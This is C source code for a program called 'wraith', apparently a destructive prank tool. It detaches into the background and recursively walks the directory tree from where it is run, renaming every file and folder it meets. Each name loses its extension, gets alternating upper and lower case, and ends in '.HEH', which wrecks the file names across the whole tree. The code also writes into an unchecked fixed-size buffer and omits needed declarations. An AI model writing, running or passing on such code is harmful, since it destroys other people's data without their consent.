/* wraith.c coded by fred_ */

#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <dirent.h>
#include <unistd.h>

char *c_file(char *filename)
{
	int x, i;
	static char buffer[256];

	if (strstr(filename, ".") != NULL) {
		for (x = 0; filename[x]; x++) {
			if (filename[x] == '.')
				break;

			buffer[x] = filename[x];
		  }
		buffer[x] = 0;
	  } else
		strcpy((char *)buffer, filename);

	for (x = 0, i = 1; buffer[x]; x++) {
		if (i == 1) {
			buffer[x] = toupper(buffer[x]);
			i = 2;
		  } else if (i == 2) {
			buffer[x] = tolower(buffer[x]);
			i = 1;
		  } else
			buffer[x] = buffer[x];
	  }

	x = strlen(buffer);

	buffer[x] = '.';
	buffer[x + 1] = 'H';
	buffer[x + 2] = 'E';
	buffer[x + 3] = 'H';

	return buffer;
}

int
isDir(char *name)
{
	int ret;
	struct stat *status;
	struct stat s[1];

	status = s;

	ret = lstat(name, s);
	if (ret == -1)
		return 0;

	return S_ISDIR(status->st_mode);
}

int
main(int argc, char *argv[])
{
	char *exec;

	if ((exec = (char *)malloc(256)) == NULL) {
		printf("Not enough memory\n");
		exit(1);
	  }

	printf("starting wraith from the current working directory\n");

	#ifndef DEBUG
		printf("launching into the background..\n");
		if (fork())
			exit(1);
	#endif

	if (strstr(argv[0], "/") != NULL) {
		exec = strrchr(argv[0], '/');
		memmove(exec, exec + 1, strlen(exec));
	  } else
		strcpy(exec, argv[0]);

	modify_dir(".", exec);
}

int
modify_dir(char *directory, char *exec) {
        char *buffer, *newfile;
        struct dirent *files;
        DIR *dp;

	if ((buffer = (char *)malloc(256)) == NULL ||
		(newfile = (char *)malloc(256)) == NULL) {
			printf("Not enough memory.\n");
			exit(1);
	  }

	dp = opendir(directory);
	while (1) {
		bzero(buffer, 256);
		bzero(newfile, 256);
		if ((files = readdir(dp)) == NULL)
			break;

		if (!strcmp(files->d_name, ".") ||
			!strcmp(files->d_name, ".."))
				continue;

		strncpy(buffer, files->d_name, 256);

		if (!strcmp(exec, buffer))
			continue;

		if (isDir(buffer) == 1) {
			#ifdef DEBUG
				printf("Changing to directory: %s\n",
					buffer);
			#endif
			if (chdir(buffer) == 0) {
				modify_dir(".", exec);

				#ifdef DEBUG
					printf("Changing to parent directory\n");
				#endif
				if (chdir("..") == -1)
					exit(1);
			  } else
				continue;
		  }

		newfile = c_file(buffer);

		if (strlen(newfile) > 0) {
			#ifdef DEBUG
				printf("Modified %s to %s\n",
					buffer, newfile);
			#endif
			if (rename(buffer, newfile) == -1)
				continue;
		  }
	  }

	closedir(dp);
}